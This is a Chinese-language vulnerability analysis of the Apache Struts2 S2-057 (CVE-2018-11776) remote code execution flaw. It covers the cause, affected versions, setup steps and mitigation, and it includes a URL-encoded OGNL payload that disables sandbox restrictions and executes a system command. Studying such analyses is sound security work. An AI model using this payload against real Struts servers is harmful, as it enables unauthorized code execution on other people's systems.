Apache Struts框架是基於Java Servlets,JavaBeans, 和JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller (MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。
天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠端程式碼執行漏洞分析~
當struts.mapper.alwaysSelectFullNamespace設定為true,並且package標籤頁以及result的param標籤頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠端程式碼執行漏洞。
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
CVE-2018-11776
1.下載:http://archive.apache.org/dist/struts/2.3.34/ struts-2.3.34-all.zip
2. 修改設定檔struts-actionchaining.xml
此漏洞有多種攻擊向量包括:
#Redirect action
Action chaining
Postback result
#以第一種為例子,修改設定檔內容為:
##
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
固定package標籤頁以及result的param標籤頁的namespace值,以及禁止使用萬用字元。
以上是如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!